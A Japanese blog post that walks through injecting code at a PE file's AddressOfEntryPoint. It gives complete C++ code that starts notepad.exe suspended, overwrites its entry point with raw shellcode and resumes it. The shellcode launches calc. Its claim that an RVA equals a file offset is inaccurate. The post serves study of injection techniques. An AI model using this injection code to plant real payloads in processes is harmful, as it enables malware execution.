PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる
PEファイルフォーマットのAddressOfEntryPoint利用によるCode Injectionをやってみる。 PEファイルフォーマットのAddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスを指している。したがってAddressOfEntryPointが指すメモリ領域の属性は必ず実行可能である。 プロセスのメインスレッドの実行に先んじてこのメモリ領域をシェルコードで上書きすることで、任意のコードを実行できる。
今回は悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。 電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
PEファイルフォーマットのAddressOfEntryPointについて
PEファイルフォーマットはWindowsのローダが認識してくれる実行可能ファイルの主流フォーマットである。 AddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスであり、RVAであらわされる。RVAはファイル内オフセットと同義であり、また実際のアドレスからイメージのロードアドレスを引いた値のことである。したがって実際のエントリポイントのアドレスは、イメージファイルが仮想メモリにロードされるアドレスであるImageBaseにAddressOfEntryPointを加算することで得られる。
AddressOfEntryPointはOptional headersに含まれ、Optional headersはDos Headerのe_lfanewが指す。
PEファイルフォーマットは以下の資料が理解の補助になるだろう。
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
本手法の概要
本手法の流れは大まかに次のようになる。
- ターゲットプロセスをCREATE_SUSPENDで新規作成。
- ターゲットプロセスのPEBからImageBaseを取得する。
- ターゲットプロセスからAddressOfEntryPointを取得する。
- 仮想アドレス(AddressOfEntryPoint+ImageBase)へシェルコードを書き込む。
- ターゲットプロセスを再開させることでシェルコードが実行される。
CreateProcess関数にCREATE_SUSPENDフラグを付与してプロセスを新規作成することで、作成されたプロセスはエントリーポイントのずっと手前で停止する。
イメージファイルはWindowsローダーによって仮想メモリにロード、実行される。 仮想メモリのどこにロードされるかはローダーによって決められる。 PEファイルフォーマットではイメージファイル内にImageBaseというエントリがあり、例えば0x00400000や0x10000000などがデフォルトで指定される。もしこのアドレスへのロードに失敗した場合は、別のアドレスにロードされることとなりベース再配置処理などを行う必要がある。
実際にイメージファイルが仮想メモリのどこにロードされたかはPEB(Process Environment Block)から求めることができる。 詳細は省くが64bitアプリケーションの場合、PEBのベースアドレスからオフセット+0x10の位置にImageBaseが格納されている。
この部分の詳しい解説は以下の記事を参考にしてほしい。
コード
以下がAddressOfEntryPoint利用によるCode Injectionを実装したコードとなる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <cstdlib> // pause() #include<stdio.h> #pragma comment(lib, "ntdll") int main() { unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("ProcessId:%d\n", pProcessInfo->dwProcessId); // find remote PEB PROCESS_BASIC_INFORMATION* pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess(pProcessInfo->hProcess, ProcessBasicInformation, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10; printf("PebBaseAddress:%p\n", pBasicInfo->PebBaseAddress); // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); printf("ImageBase:%p\n", ImageBase); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)ImageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD64)ImageBase); printf("codeEntry:%p\n", codeEntry); // write shellcode to image entry point and execute it WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)codeEntry, shellcode, sizeof(shellcode), NULL); ResumeThread(pProcessInfo->hThread); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
デモ
実際に動作させてみる。 まず次のようにコードで取得したnotepad.exeのImageBaseと、Process HackerによるImageBaseが一致することがわかる。
続いてAddressOfEntryPointがNikPEViewerによるものと一致することがわかる。
最後に電卓が起動して理論通り動作していることが確かめられた。